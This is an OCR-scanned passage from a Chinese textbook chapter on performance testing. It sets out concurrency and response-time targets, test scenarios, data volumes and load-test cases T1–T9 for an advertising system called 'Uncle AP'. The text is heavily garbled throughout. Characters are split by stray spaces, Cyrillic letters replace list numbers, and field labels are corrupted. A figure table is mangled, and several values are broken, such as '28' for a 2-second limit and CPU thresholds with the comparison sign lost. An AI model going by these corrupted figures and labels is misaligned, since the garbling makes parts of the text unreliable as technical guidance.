初步 获取 了 并 发 量 ， 还 不 够 ， 因 为 性 能 测试 需求 要 么 是 单位 并 发 下 测试 系统 的 响应 时 间 是 否 满足 一 定 水 平 值 ， 要 么 是 单位 响应 时 间 内 测试 系统 的 最 大 并 发 量 是 否 满足 一 定 的 指标 值 ， 或 者 是 测试 系统 在 
单位 时 间 内 的 TPs 情 况 。 因 此 ， 在 获取 性 能 测试 的 并 发 量 后 ， 还 要 获取 系统 的 响应 时 间 ， 从 而 形成 初步 的 性 能 测试 目标 。 比 如 在 200 并 发 情况 下 ， 系 统 登录 功能 的 响应 时 间 在 2 秒 以 内 。 在 这 里 ， 小 白 获 取 的 
响应 时 间 同 样 从 系统 的 线 上 日 志 中 进行 分 析 获 取 ， 这 是 因为 从 日 志 分 析 中 获取 到 的 平均 响应 时 间 满 足 系统 当前 使 用 用 户 的 性 能 需求 。 在 图 9-10 中 ， 对 线 上 日 志 分 析 得 到 的 广告 查询 的 平均 响应 时 间 是 
1827.8ms。 


| 409914 00 
1827.8005 00 1729.4904 | 3/85/8.0000 


图 9-10 Uncle AP 项 目 线 上 日 志 并 发 量 分 析 结果 
通过 上 面 的 日 志 分 析 ， 初 步 形 成 的 系统 需求 如 下 。 
1) 登录 : 要 求 最 少 支持 44 并 发 ， 响 应 时 间 在 2s 内 。 
2) 数据 库 单条 写 操作 : 要 求 最 少 支持 120 个 并 发 用 户 数 ， 响 应 时 间 在 2s 内 。 
3) 数据 库 批量 写 操作 (系统 批量 操作 ， 一 次 往 数 据 插入 /修改 /删除 200 条 数据 ) : 要 求 至 少 支持 130 个 并 发 用 户 数 ， 响 应 时 间 在 5s 内 。 
Д) 数据 库 读 操 作 (默认 查询 ， 分 页 显示 20) : 要 求 最 少 支 持 141 个 并 发 用 户 数 ， 响 应 时 间 在 2s 以 内 。 
5) 数据 库 读 操 作 (分 页 显示 200) : 要 求 最 少 支 持 70 个 并 发 用 户 数 ， 响 应 时 间 在 3s 以 内 。 


6) 数据 库 聚 合 以 及 排序 操作 : 要 求 最 少 支持 90 个 并 发 用 户 数 ， 响 应 时 间 在 3s 以 内 。 


Т) 整个 系统 1s 内 最 大 的 并 发 用 户 数 为 337， 对 应 混合 场景 。 在 进行 混合 场景 测试 时 ， 不 同 功能 按照 比例 分 配 337 并 发 用 数 。 


完成 初步 的 需求 分 析 之 后 会 考虑 ， 这 是 否 就 是 最 终 的 性 能 需求 呢 ? 答案 是 否定 的 ， 因 为 公司 业务 在 发 展 ， 所 以 系统 的 用 户 会 越 来 越 多 ， 并 发 用 户 数 必然 也 会 随 着 增长 。 在 Uncle AP 项 目 进行 性 能 升级 改 
造 立 项 (参考 项 目 背 景 ) 时 ， 就 明确 说 明 系 统 要 支持 未 来 两 年 的 业务 发 展 ， 所 以 小 白 需 要 考虑 未 来 两 年 业务 增长 量 (业务 量 增长 并 不 等 同 于 容量 规划 ， 它 只 是 容量 规划 的 一 部 分 ， 小 白 见 过 不 少 人 将 业务 量 
的 增长 当 作 了 容量 规划 去 理解 ) 带 来 的 性 能 增长 ， 从 而 确定 最 终 的 性 能 目标 。 业 务 增长 量 如 何 计算 ? 增长 量 预 估 小 了 可 能 会 导致 最 终 系统 上 线 后 无 法 支持 系统 的 性 能 要 求 ， 增 长 量 预 估 大 了 会 导致 过 高 的 预 
估 值 ， 增 加 性 能 优化 难度 。 小 白 参 考 了 日 志 分 析 中 的 趋势 分 析 ， 因 为 日 志 中 的 趋势 分 析 可 以 帮助 确定 性 能 的 业务 增长 量 ， 如 图 9-11 所 示 。 
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9-11 Uncle AP 项 目 线 上 日 志 业 务 趋势 分 析 结果 
在 根据 业务 增长 量 进行 计算 后 ， 小 白 重 新 制定 了 满足 系统 2 年 后 的 最 终 性 能 测试 目标 。 
1) 登录 : 要 求 最 少 支 持 70 个 并 发 用 户 ， 响 应 时 间 在 2s 内 。 
2) 数据 库 单条 写 操 作 : 要 求 最少 支 持 180 个 并 发 用 户 ， 响 应 时 间 在 2s 内 。 
3) 数据 库 批量 写 操 作 (系统 批量 操作 ， 一 次 往 数据 库 写 200 条 数据 ) : 要 求 至 少 支 持 191 并 发 ， 响 应 时 间 在 5s 内 。 
Д) 数据 库 读 操作 (默认 查询 ,分 页 显示 20) : 要 求 最 少 支 持 220 并 发 ， 响 应 时 间 在 2s 以 内 。 
5) 数据 库 读 操作 (分 页 显示 200) : 要 求 最 少 支 持 110 个 并 发 用 户 ， 响 应 时 间 在 3s 以 内 。 
6) 数据 库 聚 合 以 及 排序 操作 : 要 求 最 少 支 持 160 个 并 发 用 户 ， 响 应 时 间 在 3s 以 内 。 
7) 系统 1s 内 最 大 的 并 发 用 户 数 为 612 个 ， 对 应 混合 场景 ; 在 进行 混合 场景 测试 时 ， 不 同 功能 按照 比例 分 配 612 个 并 发 用 数 。 


到 这 里 就 确定 了 Uncle AP 项 目的 性 能 测试 目标 ， 该 目标 满足 2 年 以 后 的 性 能 要 求 。 有 一 点 需要 注意 的 是 : 小 白 只 对 并 发 量 做 了 增长 ， 但 是 响应 时 间 没 有 变化 ， 因 为 现在 的 响应 时 间 是 满足 用 户 要 求 的 ， 
所 以 响应 时 间 是 不 需要 增长 的 。 


[1] Ж Ж: ${catalina} 是 Tomcat 的 安装 目录 。 


93 ”性 能 测试 场景 获取 以 及 用 例 设计 

确定 性 能 测试 需求 之 后 ， 下 一 步 小 白 应 该 做 的 是 确定 性 能 测试 场景 并 进行 性 能 用 例 设 计 。 性 能 测试 场景 以 及 用 例 设 计 是 很 重要 的 ， 从 性 能 测试 场景 的 选取 以 及 用 例 的 设计 能 看 出 一 个 性 能 测试 人 员 的 基 
9.3.1 性 能 测试 场景 选取 与 制定 

场景 的 选取 与 制定 很 重要 ， 小 黑 经 理 经 常 对 小 白 耳 提 面 命 ， 灌 输 各 种 经 验 ， 小 白 自己 也 在 实践 中 颇 有 心得 ， 下 面 来 看 看 小 白 有 哪些 心得 吧 。 

1. 场 景 选取 


性 能 测试 场景 的 选取 是 用 例 设计 的 第 一 步 ， 因 为 性 能 测试 场景 的 选择 决定 了 以 后 需要 进行 性 能 测试 脚本 开发 所 做 的 工作 以 及 最 终 性 能 测试 执行 所 对 应 的 场景 。 如 果 场 景 有 遗漏 ， 最 直接 的 影响 就 是 遗漏 
的 场景 可 能 会 导致 线 上 的 性 能 故障 。 在 这 里 ， 小 白 特意 总 结 了 在 做 性 能 测试 这 段 时 间 内 由 于 漏 测 性 能 测试 场景 导致 的 部 分 性 能 故障 ， 与 大 家 分 享 。 


1) 由 于 漏 测 一 个 改 预算 的 场景 ， 导 致 系统 上 线 后 ， 计 费 库 负载 非常 高 ，Load 值 峰值 达到 200 多 ， 大 量 的 用 户 线程 在 数据 库 层 排队 ， 导 致 线 上 用 户 无 法 进行 改 价 操作 。 从 发 现 故 障 到 定位 原因 再 到 紧急 修 
复 人 花费 70min 时 间 ， 最 终 估算 由 于 用 户 无 法 修改 预算 导致 的 经 济 损失 有 30 万 。 在 系统 上 线 前 还 对 新 功能 进行 了 宣传 推广 工作 ， 因 此 这 次 性 能 故障 也 导致 了 用 户 对 公司 的 信赖 度 降低 。 


2) 由 于 开发 人 员 修改 了 发 布 广告 的 逻辑 后 ， 没 有 提交 性 能 测试 ， 导 致 上 线 后 ， 随 着 用 户 发 广告 的 次 数 增多 ， 每 次 发 广告 的 时 间 也 越 来 越 长 ， 最 后 导致 发 布 广告 功能 超时 而 不 可 用 。 
3) 由 于 测试 时 没有 测试 一 个 混合 场景 ， 导 致 系统 上 线 后 出 现 数据 库 死 锁 情 况 ， 致 使 部 分 功能 无 法 使 用 。 

4) 由 于 没有 考虑 稳定 性 测试 ， 导 致 上 线 后 出 现 内 存 泄露 情况 ， 晚 上 召集 开发 人 员 紧 急 修 复 ， 耗 时 8h。 

5) 由 于 没有 考虑 大 数据 量 测 试 ， 用 户 在 真正 使 用 大 数量 业务 时 导致 栈 溢出 ， 从 发 现 问题 到 解决 问题 耗 时 90min。 


还 有 很 多 由 于 遗漏 性 能 测试 场景 导致 的 性 能 问题 ， 在 这 里 小 白 就 不 一 一 列举 了 。 遗 漏 性 能 测试 场景 不 仅仅 会 影响 线 上 用 户 的 使 用 感受 ， 也 会 给 公司 带 来 直接 的 经 济 损失 ; 在 公司 内 部 可 能 也 会 由 于 一 些 
遗漏 测试 场景 导致 开发 人 员 与 测试 人 员 扯 皮 的 现象 ,会 影响 同事 之 间 的 团结 和 友谊 ， 所 以 性 能 测试 场景 的 选取 是 很 重要 的 ， 它 直接 决定 本 次 测试 的 成 败 。 


既然 性 能 测试 场景 选取 非常 重要 ， 那 么 哪些 场景 应 该 在 性 能 测试 过 程 中 应 该 优先 考虑 呢 ? 小 白 总 结 的 性 能 测试 选取 方法 如 下 。 


1) 用 户 量 访问 比较 大 的 功能 ， 应 该 优先 纳入 性 能 测试 场景 。 

2) 与 金钱 相关 比较 重要 的 场景 ， 应 该 优先 纳入 性 能 测试 场景 。 

3) 影响 业务 主流 程 的 场景 ， 应 该 优先 纳入 性 能 测试 场景 。 

4) 开发 人 员 认 为 可 能 存在 性 能 问题 的 场景 ， 应 该 优先 纳入 性 能 测试 场景 。 

5) 应 该 考虑 综合 场景 ， 防 止 线 程 争 用 导致 现场 死 锁 以 及 数据 库 死 锁 。 

6) 应 该 做 稳定 性 场景 测试 ， 防 止 长 时 间 运 行 导 致 的 内 人 存 泄露 情况 发 生 。 

2. 场 景 确定 

小 白 分 析 了 线 上 日 志 ， 因 为 通过 日 志 分 析 (参考 图 9-9) 能 很 方便 地 获取 到 线 上 Uncle AP 系统 哪些 用 户 访问 量 比较 大 。 初 步 提取 的 性 能 测试 场景 有 如 下 几 个 : 
Т) 广告 按照 每 页 展示 20 个 进行 查询 (简称 广告 默认 查询 ) 。 

2) 广告 按照 每 页 展示 200 个 进行 查询 (简称 广告 批量 查询 ) 。 

3) 单条 广告 发 布 。 

4) 多 条 广告 发 布 (一 个 用 户 一 次 发 布 200 个 广告 ) 。 

5) 用 户 登 录 。 

6) 用 户 新 建 计划 。 

7) 用 户 新 建 组 。 

8) 广告 生效 。 

9) 用 户 报 告 查询 (分 别 设置 查询 维度 为 昨日 、 最 近 7 天 、 本 月 、 上 月 、 一 年 的 场景 ， 统 计 维度 为 按 月 和 按 日 统计 ) 。 
10) 修改 价格 操作 。 

11) 修改 计划 预算 操作 。 


这 些 性 能 测试 场景 基本 获 盖 了 本 次 Uncle AP 系统 中 用 得 比较 多 、 比 较 重 要 的 场景 ， 在 此 基础 上 ， 需 要 加 上 稳定 性 测试 ， 所 以 最 后 小 白 在 这 个 测试 的 基础 上 加 上 了 综合 场景 以 及 稳定 性 测试 。 在 确定 场景 
之 后 ， 小 白 与 开发 人 员 沟 通 ， 确 定 场景 是 否 覆 盖 本 次 项 目 升级 性 能 测试 需求 ， 并 询问 开发 人 员 是 否 有 一 些 可 能 存在 性 能 问题 场景 需要 纳入 本 次 测试 ， 沟 通 后 ， 基 本 确定 了 性 能 测试 场景 。 


确定 性 能 目标 与 场景 之 后 ， 需 要 进行 评审 工作 。 评 审 人 员 可 以 是 产品 人 员 、 性 能 测试 人 员 、 开 发 人 员 、 运 维 人 员 、 数 据 库 管理 人 员 和 项 目 管理 者 。 小 白 在 经 过 性 能 需求 和 场景 评审 之 后 ， 确 定 了 最 终 的 
性 能 测试 场景 如 下 : 


1) 广告 默认 查询 。 

2) 广告 批量 查询 。 

3) 单条 广告 发 布 。 

4) 多 条 广告 发 布 (一 个 用 户 一 次 发 布 200 个 广告 ) 。 

5) 用 户 登录 。 

6) 用 户 新 建 计划 。 

7) 用 户 新 建 组 。 

8) 广告 生效 。 

9) 用 户 报 告 查 询 (分 别 设置 查询 维度 为 昨日 、 最 近 7 天 、 本 月 、 上 月 、 一 年 的 场景 ) 。 
10) 广告 审核 (开发 人 员 加 入 的 ， 因 为 他 们 觉得 可 能 存在 性 能 问题 ， 在 这 里 小 白 也 与 开发 人 员 确 定 新 的 广告 审核 对 应 的 需求 是 130 万 条 未 审核 数据 在 600s 内 完成 全 部 审核 操作 ) 。 
11) 广告 组 的 查询 。 

12) 广告 计划 的 查询 。 

13) 修改 广告 词 价格 。 

14) 修改 计划 预算 。 


15) 综合 场景 以 及 稳定 性 测试 。 


9.3.2 ”性 能 测试 数据 确定 


确定 性 能 测试 需求 、 性 能 测试 场景 之 后 ， 接 下 来 需要 确定 性 能 测试 场景 功能 需要 的 数据 量 。 小 白 之 前 在 一 些 性 能 测试 书籍 上 看 到 的 性 能 测试 都 只 是 针对 LoadRunner 工 具 使 用 的 ， 哪 怕 是 在 介绍 项 目 时 
也 没有 进行 专业 的 性 能 测试 需求 及 性 能 测试 场景 分 析 ， 更 别 谈 对 性 能 测试 数据 的 分 析 了 。 


1 一 些 不 恬 当 的 专家 观点 
在 这 里 小 白 要 表达 出 与 网 上 一 些 性 能 测试 专家 相反 的 观点 。 


1) 性 能 测试 需求 很 重要 ， 大 家 应 该 好 好 重视 。 之 前 小 白 看 到 的 网 上 绝 大 多 数 性 能 测试 人 员 包 括 一 些 所 谓 的 性 能 测试 专家 对 需求 的 描述 就 是 来 源 于 需求 文档 ， 或 者 是 随便 拍 脑 袋 决定 ， 如 果 测 试 后 达 不 到 


预定 需求 ， 就 对 性 能 测试 需求 进行 降级 。 这 是 一 种 很 不 负责 的 行为 ， 既 然 从 事 性 能 测试 这 一 行业 ， 就 应 该 热爱 这 一 行业 ， 好 好 地 想 想 如 何 把 性 能 测试 这 件 事情 做 得 更 加 规范 化 ， 让 开发 人 员 /产品 人 员 信 服 ， 
从 而 提高 自己 的 价值 。 不 应 该 是 随波逐流 、 故 步 自封 ， 在 没有 做 过 的 前 提 下 ， 否 决 现 在 大 数据 时 代为 性 能 测试 带 来 的 变革 和 冲击 ， 所 有 事情 只 有 在 做 过 之 后 ， 才 会 知道 它 的 意义 ， 就 像 日 志 分 析 和 容量 规划 
一 样 ， 它 们 不 是 停留 在 表面 的 说 辞 ， 而 是 需要 性 能 测试 人 员 去 尝试 ， 然 后 根据 自己 公司 的 现状 并 结合 自己 的 理解 去 实践 和 完善 。 


2) 应 该 好 好 设计 性 能 测试 场景 ， 而 不 应 该 是 自己 拍 脑袋 的 事情 。 小 白 同 样 在 很 多 性 能 测试 群 里 看 到 很 多 性 能 测试 人 员 ， 包 括 一 些 专家 ， 基 本 上 都 是 拍 脑袋 任 经 验 得 出 性 能 测试 场景 。 性 能 测试 场景 同样 
需要 性 能 测试 人 员 好 好 地 设计 规划 ， 引 入 较为 合理 的 和 让 人 信服 的 手段 去 设计 性 能 测试 场景 ， 从 而 不 遗漏 场景 。 


3) 性 能 测试 场景 设计 中 很 重要 的 一 点 就 是 场景 数据 的 设计 。 比 如 设计 一 个 数据 查询 场景 ， 如 果 该 场景 对 应 的 数据 库 表 只 有 10 条 数据 ， 那 么 查询 结果 肯定 相对 较 快 ; 但 是 如 果 这 个 查询 场景 对 应 的 数据 
库 表 有 1000 万 条 数据 ， 那 么 查询 结果 肯定 会 比 只 有 10 条 数据 的 查询 结果 要 慢 一 些 。 如 果 测 试 时 不 考虑 数据 量 ， 那 么 性 能 测试 结果 数据 是 不 准确 的 ， 上 线 后 由 于 未 考虑 数据 量 的 因素 ， 而 引发 性 能 问题 的 几率 
会 很 大 。 


4) 希望 测试 界 的 各 位 有 自己 的 见解 和 想法 ， 然 后 去 实践 ， 别 做 “只 说 不 做 ”的 大 话 家 ， 要 做 思考 总 结实 践 的 实干 家 。 只 有 做 过 之 后 ， 才 会 有 自己 的 见解 ， 然 后 形成 自己 的 知识 体系 。 
2. 项 目的 数据 量 


性 能 测试 数据 如 何 获 取 ? 因为 在 Uncle AP 项 目 立项 之 初 就 确定 了 项 目的 数据 量 : 明年 日 均 广告 发 布 数 量 10 万 条 以 及 单 表 最 大 广告 量 500 万 条 。 这 个 数据 量 其 实 就 是 在 现 有 线 上 数据 库 表 数据 的 基础 上 ， 
对 目前 数据 量 按照 每 月 增长 量 计算 增 量 得 出 的 结果 。 小 白 参 考 现在 线 上 的 数据 库 表 数 据 量 ， 然 后 按照 目前 统计 的 数据 增 量 分 别 计 算出 各 个 项 目测 试 场景 对 应 的 数据 量 如 下 。 


1) 广告 查询 : 广告 默认 查询 、 广 告 批量 查询 以 及 广告 发 布 、 广 告 词 改 价 等 功能 操作 对 应 的 数据 表 都 是 MySQL 的 广告 表 ， 最 终 计 算出 2 年 后 ，MySQL 广 告 表单 库 上 的 单 表 数 据 量 230 万 条 。 在 这 里 说 明 一 
点 ， 这 个 230 万 条 数据 量 是 拆 库 后 的 单 库 单 表 数据 量 ， 如 果 没 有 拆 库 ， 那 么 数据 量 是 230 万 条 x64=14720 万 条 。 


2) 用 户 登 录 : 用 户 登 录 对 应 的 是 Oracle 的 user 表 ， 数 据 量 为 90 万 条 ， 这 里 说 明 一 下 ， 因 为 user 表 和 计 费 表 都 保留 在 Oracle 库 上 ， 没 有 拆 分 ， 所 以 在 做 数据 之 前 ， 要 清楚 数据 是 在 什么 数据 库 的 哪 张 表 
Ls 


3) 新 建 计划 : 计划 的 新 增 、 查 询 以 及 改 价 对 应 的 都 是 MySQL 中 的 plan 表 ， 单 库 单 表 数 据 量 为 10 万 。 


Д) 新 建 组 : 广告 组 的 新 建 和 查询 对 应 的 是 MySQL 中 的 group 表 ， 单 库 单 表 数 据 量 为 50 万 。 
5) 广告 生效 : 对 应 的 也 是 MySQL 上 的 广告 表 ， 单 库 单 表 数 据 为 230 万 。 

6) 报告 查询 : 对 应 的 是 MongoDB 上 的 report 表 ， 数 据 量 大 小 为 1.6TB。 

Т) 广告 审核 : 对 应 MySQL 上 的 审核 表 ， 积 压 的 待 审核 数据 最 大 为 130 万 。 


9.3.3 ”性 能 测试 用 例 设计 


选取 完 性 能 测试 场景 之 后 ， 就 需要 结合 性 能 测试 需求 设计 性 能 测试 用 例 。 在 以 前 ， 小 白 发 现 不 少 公司 是 没有 性 能 测试 用 例 设 计 这 一 步骤 的 。 很 多 性 能 测试 人 员 在 没有 任何 性 能 测试 目标 、 性 能 测试 场景 
以 及 性 能 测试 用 例 的 情况 下 ， 直 接 开发 测试 脚本 。 小 白 个 人 觉得 这 样 十 分 不 正规 ， 因 为 性 能 测试 目的 都 没有 明确 下 来 ， 最 终 对 测试 结果 就 没有 严格 的 要 求 ; 没有 设计 性 能 测试 用 例 ， 就 很 有 可 能 漏 测 一 些 场 
景 ， 或 者 是 在 转交 性 能 测试 项 目的 时 候 ， 性 能 测试 执行 人 员 不 知道 执行 什么 场景 、 采 取 什 么 样 的 性 能 执行 策略 、 记 录 什 么 性 能 测试 结果 数据 。 小 白 将 测试 用 例 按照 单 场景 、 混 合 场景 以 及 稳定 性 测试 场景 分 
别 设计 ， 具 体 性 能 测试 用 例如 下 。 (下 面 的 性 能 测试 用 例 用 Excel 展 示 效 果 最 佳 ， 但 是 因为 排版 无 法 展示 ， 所 以 换 成 纯 文字 方式 。) 


1. 单 场景 

用 例 编 号 : Ti. 

场景 摘 述 : 模拟 用 户 进 行 登录 操作 。 

并 发 量 : 分 别 模拟 并 发 用 户 数 为 1、44、70 三 种 情况 进行 测试 。 
压 测 时 间 : 每 次 15min。 

数据 量 : Oracle 的 usetr 表 有 90 万 账户 。 

集合 点 : 不 使 用 集合 点 。 

加 压 方式 : 全 部 初始 化 、 全 部 退出 。 


场景 运行 时 设置 : think time=2s、continue when error; 


重点 关注 指标 : 响应 时 间 、 事 务 成 功率 、 应 用 服务 器 资源 使 用 情况 (CPU、 内 存 、L/O) 、Oracle 数 据 库 资源 使 用 情况 (CPU、 内 存 、I/O) 、 应 用 日志 是 否 有 死 锁 等 错误 、 数 据 库 日 志 是 否 有 死 锁 等 错 


误 、JVM 内 存 使 用 情况 和 GC 情 况 。 
预期 指标 : 响应 时 间 在 2s 内 ， 事 务 成 功率 为 100%， 应 用 服务 器 和 数据 库 服务 器 CPU 使 用 率 二 60%， 没 有 内 存 油 露 现象 、 没 有 死 锁 情 况 发 生 。 


QE ”在 这 里 大 家 可 能 党 得 奇怪 没有 内 存 使 用 率 的 预期 指标 ， 这 与 JVM 大 小 设置 相关 ， 如 果 最 大 堆 与 最 小 堆 大 小 都 设置 得 比较 大 ， 那 么 Java 应 用 程序 启动 后 就 可 能 占据 服务 器 内 存 的 80% 容 量 。 关 于 
JVM 相 关 知 识 9.5.7 节 会 i 
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用 例 编号 : T2. 


场景 描述 : 模拟 用 户 进行 广告 词 查询 操作 ， 默 认 查 询 即 每 页 显示 20 条 广告 由。 查询 操作 也 有 广告 组 的 查询 、 广 告 计 划 的 查询 ， 但 数据 量 没有 广告 词 数据 量 大 ， 并 发 量 也 没有 广告 词 查询 并 发 量 大 。 为 了 
避免 重复 列举 ， 本 文 没有 对 广告 计划 以 及 广告 组 查询 进行 用 例 设计 ， 在 实际 工作 中 应 该 都 进行 用 例 设 计 。 


并 发 量 : 分 别 模拟 并 发 用 户 数 为 1、141、220 三 种 情况 进行 测试 。 
压 测 时 间 : 每 次 15min。 


数据 量 : MySQL 数 据 库 的 广告 表 (cpc 表 ) 有 230 万 个 账户 。 


加 压 方式 : 全 部 初始 化 、 全 部 退出 。 
场景 运行 时 设置 : think time=2s、continue when error; 


重点 关注 指标 : 响应 时 间 、 事务 成 功率 、 应 用 服务 器 资源 使 用 情况 (CPU、 内 存 、 I/O) ` Oracle 数 据 库 资源 使 用 情况 (СРО, P E I/O) S 应 用 日 志 是 否 有 死 锁 等 错误 、 数据 库 日 志 是 否 有 死 锁 等 错 
误 、JVM 内 存 使 用 情况 和 GC 情 况 。 


预期 指标 : 响应 时 间 在 28 内 ， 事 务 成 功率 为 100%， 应 用 服务 器 和 数据 库 服务 器 CPU 使 用 率 和 60%， 没 有 内 存 泄露 现象 ， 没 有 死 锁 情况 发 生 。 
用 例 编号 : T3. 

场景 的 述 : 模拟 用 户 进行 广告 词 查询 操作 ， 每 页 显示 200 条 广告 ， 后 面 简称 广告 词 批量 查询 。 

HEE: 分 别 模拟 并 发 用 户 数 为 1、70、110 三 种 情况 进行 测试 。 

压 测 时 间 : 每 次 15min。 

数据 量 : MySQL 数据库 的 广告 表 (cpc 表 ) 有 230 万 个 账户 。 

集合 点 : 不 使 用 集合 点 。 

加 压 方式 : 全 部 初始 化 、 全 部 退出 。 

场景 运行 时 设置 : think time=2s、continue when error. 


重点 关注 指标 : 响应 时 间 、 事务 成 功率 、 应 用 服务 器 资源 使 用 情况 (CPU、 内 存 、 1/О) ` Oracle 数 据 库 资源 使 用 情况 (CPU、 А. ЏО) 应 用 日 志 是 否 有 死 锁 等 错误 、 数据 库 日 志 是 
误 、JVM 内 存 使 用 情况 和 GC 情 况 。 
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预期 指标 : 响应 时 间 在 3s 内 ， 事 务 成 功率 为 100%， 应 用 服务 器 和 数据 库 服务 器 CPU 使 用 率 乏 60%， 没 有 内 存 泄 露 现象 ， 没 有 死 锁 情 况 发 生 。 
用 例 编 号 : T4. 

场景 描述 : 模拟 用 户 进行 广告 新 建 操作 ， 一 个 用 户 一 次 发 布 一 条 广告 ， 后 面 简称 广告 词 默 认 新 建 。 

HEE: 分 别 模拟 并 发 用 户 数 为 1、130、191 三 种 情况 进行 测试 。 

压 测 时 间 : 每 次 15min。 

数据 量 : MySQL 数 据 库 的 广告 表 (cpc 表 ) 有 230 万 个 账户 。 

集合 点 : 不 使 用 集合 点 。 

加 压 方式 : 全 部 初始 化 、 全 部 退出 。 

场景 运行 时 设置 : think time=2s、continue when error. 


重点 关注 指标 : 响应 时 间 、 事 务 成 功率 、 应 用 服务 器 资源 使 用 情况 (CPU. W£. 1/О) 、Oracle 数 据 库 资 源 使 用 情况 (CPU、 内 存 、I/O) 、 应 用 日 志 是 否 有 死 锁 等 错误 、 数 据 库 日 志 是 否 有 死 锁 等 错 
误 、JVM 内 存 使 用 情况 和 GC 情 况 。 


预期 指标 : 响应 时 间 在 28 内 ， 事 务 成 功率 为 100%， 应 用 服务 器 跟 数 据 库 服务 器 CPU 使 用 率 过 60%， 没 有 内 存 泄 露 现象 ， 没 有 死 锁 情 况 发 生 。 
用 例 编号 : T5. 

场景 描述 : 模拟 用 户 进行 广告 新 建 操作 ， 一 次 用 户 一 次 发 布 200 条 ， 后 面 简称 广告 词 批量 新 建 。 

HERE: 分 别 模拟 并 发 用 户 数 为 1、130、200 三 种 情况 进行 测试 。 

压 测 时 间 : 每 次 15min。 

数据 量 : MySQL 数 据 库 的 广告 表 (cpc) 有 230 万 个 账户 。 

集合 点 : 不 使 用 集合 点 。 

加 压 方式 : 全 部 初始 化 、 全 部 退出 。 

场景 运行 时 设置 : think time=2s, continue when error. 


重点 关注 指标 : 响应 时 间 、 事务 成 功率 、 应 用 服务 器 资源 使 用 情况 (СРО, 内 存 、 I/O) ` Oracle 数 据 库 资源 使 用 情况 (СРО, P E I/O) S 应 用 日 志 是 否 有 死 锁 等 错误 、 数据 库 日 志 是 否 有 死 锁 等 错 
误 、JVM 内 存 使 用 情况 和 GC 情 况 。 


预期 措 标 : 响应 时 间 在 5s 内 ， 事 务 成 功率 为 100%， 应 用 服务 器 以 及 数据 库 服务 器 CPU 使 用 率 均 过 60%， 没 有 内 存 泄 露 现 象 ， 没 有 死 锁 情况 发 生 。 
用 例 编号 : T6。 

ЕК: 模拟 用 户 查询 广告 报告 ， 查 询 时 间 为 昨日 ， 统 计 维度 为 按 天 ， 后 面 简称 广告 按 日 查询 。 

HEE: 分 别 模拟 并 发 用 户 数 为 1、130、200 三 种 情况 进行 测试 。 

压 测 时 间 : 每 次 15min。 

数据 量 : MongoDB DB 数据 库 的 报告 表 (tepott 表 ) 有 1.6TB 数 据 。 


集合 点 : 不 使 用 集合 点 。 


加 压 方式 : 全 部 初始 化 、 全 部 退出 。 
场景 运行 时 设置 : think time=2s、continue when error, 


重点 关注 指标 : 响应 时 间 、 事 务 成 功率 、 应 用 服务 器 资源 使 用 情况 〈CPU、 内 存 、I/O) 、Oracle 数 据 库 资源 使 用 情况 (CPU、 内 存 、I/O) 、 应 用 日 志 是 否 有 死 锁 等 错误 、 数 据 库 日 志 是 否 有 死 锁 等 错 
误 、JVM 内 存 使 用 情况 和 GC 情 况 。 


预期 指标 : 响应 时 间 在 3s 内 ， 事 务 成 功率 为 100%， 应 用 服务 器 跟 数 据 库 服务 器 CPU 使 用 率 过 60%， 没 有 内 存 泄 露 现象 ， 没 有 死 锁 情 况 发 生 。 
用 例 编号 : T7. 


场景 描述 : 模拟 用 户 查询 广告 报告 的 查询 ， 时 间 维 度 为 上 月 ， 统 计 维 度 为 按 月 (备注 : 之 前 场景 分 析 时 ， 报 告 查询 中 的 时 间 统 计 维度 分 别 有 上 昨日、 最近 7 天 、 本 月 、 上 月 、 一 年 ， 统 计 维 度 也 有 按 月 、 按 
日 统计 的 ， 因 为 Uncle AP 项 目 最 近 7 天 、 本 月 、 上 月 、 一 年 的 统计 逻辑 相同 ， 且 查询 一 年 的 聚合 结果 不 进行 细 分 ， 所 以 反而 比 查 询 上 月 的 逻辑 简单 。 在 这 里 为 了 不 重复 列举 ， 小 白 只 选取 了 2 个 报告 查询 作为 
用 例 ， 在 实际 工作 中 ， 每 种 例子 都 需要 设计 ) ， 后 面 简称 广告 按 月 查询 。 


并 发 量 : 分 别 模拟 并 发 用 户 数 为 1、130、200 三 种 情况 进行 测试 。 
压 测 时 间 : 每 次 15min。 

数据 量 : MongoDB DB 数据 库 的 报告 表 (tepott 表 ) 有 1.6TB 数 据 。 
集合 点 : 不 使 用 集合 点 。 

加 压 方 式 : 全 部 初始 化 、 全 部 退出 。 

场景 运行 时 设置 : think time=2s、continue when error, 


重点 关注 指标 : 响应 时 间 、 事 务 成 功率 、 应 用 服务 器 资源 使 用 情况 (CPU、 内 存 、I/O) 、Oracle 数 据 库 资源 使 用 情况 (CPU、 内 存 、I/O) 、 应 用 日 志 是 否 有 死 锁 等 错误 、 数 据 库 日 志 是 否 有 死 锁 等 错 
误 、JVM 内 存 使 用 情况 和 GC 情 况 。 


预期 指标 : 响应 时 间 在 3s 内 ， 事 务 成 功率 为 100%， 应 用 服务 器 跟 数 据 库 服务 器 CPU 使 用 率 和 过 60%， 没 有 内 存 泄露 现象 ， 没 有 死 锁 情 况 发 生 。 
用 例 编号 : T8。 

ЕНК: 模拟 用 户 对 广告 进行 生效 操作 。 

并 发 量 : 分 别 模拟 并 发 用 户 数 为 1、130、200 三 种 情况 进行 测试 。 

压 测 时 间 : 每 次 15min。 

数据 量 : MySQL 数 据 库 的 广告 表 (cpc 表 ) 有 230 万 账户 。 

集合 点 : 使 用 集合 点 。 

加 压 方式 : 全 部 初始 化 、 全 部 退出 。 

场景 运行 时 设置 : think time=2s, continue when error. 


重点 关注 指标 : 响应 时 间 、 事 务 成 功率 、 应 用 服务 器 资源 使 用 情况 (CPU、 内 存 、I/O) 、Oracle 数 据 库 资源 使 用 情况 (CPU、 内 存 、I/O) 、 应 用 日 志 是 否 有 死 锁 等 错误 、 数 据 库 日 志 是 否 有 死 锁 等 错 
误 、JVM 内 存 使 用 情况 和 GC 情 况 。 


预期 指标 : 响应 时 间 在 28 内 ， 事 务 成 功率 为 100%， 应 用 服务 器 跟 数 据 库 服务 器 CPU 使 用 率 过 60%， 没 有 内 存 泄露 现象 ， 没 有 死 锁 情 况 发 生 。 

Q= 这 里 使 用 了 集合 点 ， 因 为 广告 生效 是 广告 发 布 的 最 后 一 步 ， 会 影响 用 户 广 告 的 最 终 上 线 ， 是 最 为 重要 的 一 步 ， 所 以 为 了 防止 过 载 情况 出 现 ， 使 用 了 集合 点 。 
用 例 编号 : T9. 

场景 描述 : 模拟 用 户 对 广告 按照 价格 排序 (聚合 ) 操作 。 

